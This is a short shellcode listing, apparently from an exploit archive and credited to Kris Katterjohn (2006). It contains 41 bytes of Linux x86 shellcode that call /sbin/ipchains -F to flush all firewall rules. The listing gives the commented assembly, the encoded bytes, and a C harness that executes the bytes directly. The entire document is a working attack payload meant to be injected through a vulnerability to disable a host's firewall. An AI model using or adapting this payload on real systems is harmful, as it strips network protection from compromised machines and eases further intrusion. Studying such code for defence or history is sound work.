linux/x86 /sbin/ipchains -F 41 bytes

/* By Kris Katterjohn 11/15/2006 * * 41 byte shellcode to flush ipchains for Linux x86 * * * * section .text * * global _start * * _start: * * ; execve("/sbin/ipchains", { "/sbin/ipchains", "-F", NULL }, NULL) * * push byte 11 * pop eax * xor edx, edx * push edx * push word 0x462d * mov ecx, esp * push edx * push word 0x736e * push 0x69616863 * push 0x70692f6e * push 0x6962732f * mov ebx, esp * push edx * push ecx * push ebx * mov ecx, esp * int 0x80 */ main() { char shellcode[] = "\x6a\x0b\x58\x31\xd2\x52\x66\x68\x2d\x46" "\x89\xe1\x52\x66\x68\x6e\x73\x68\x63\x68" "\x61\x69\x68\x6e\x2f\x69\x70\x68\x2f\x73" "\x62\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"; (*(void (*)()) shellcode)(); }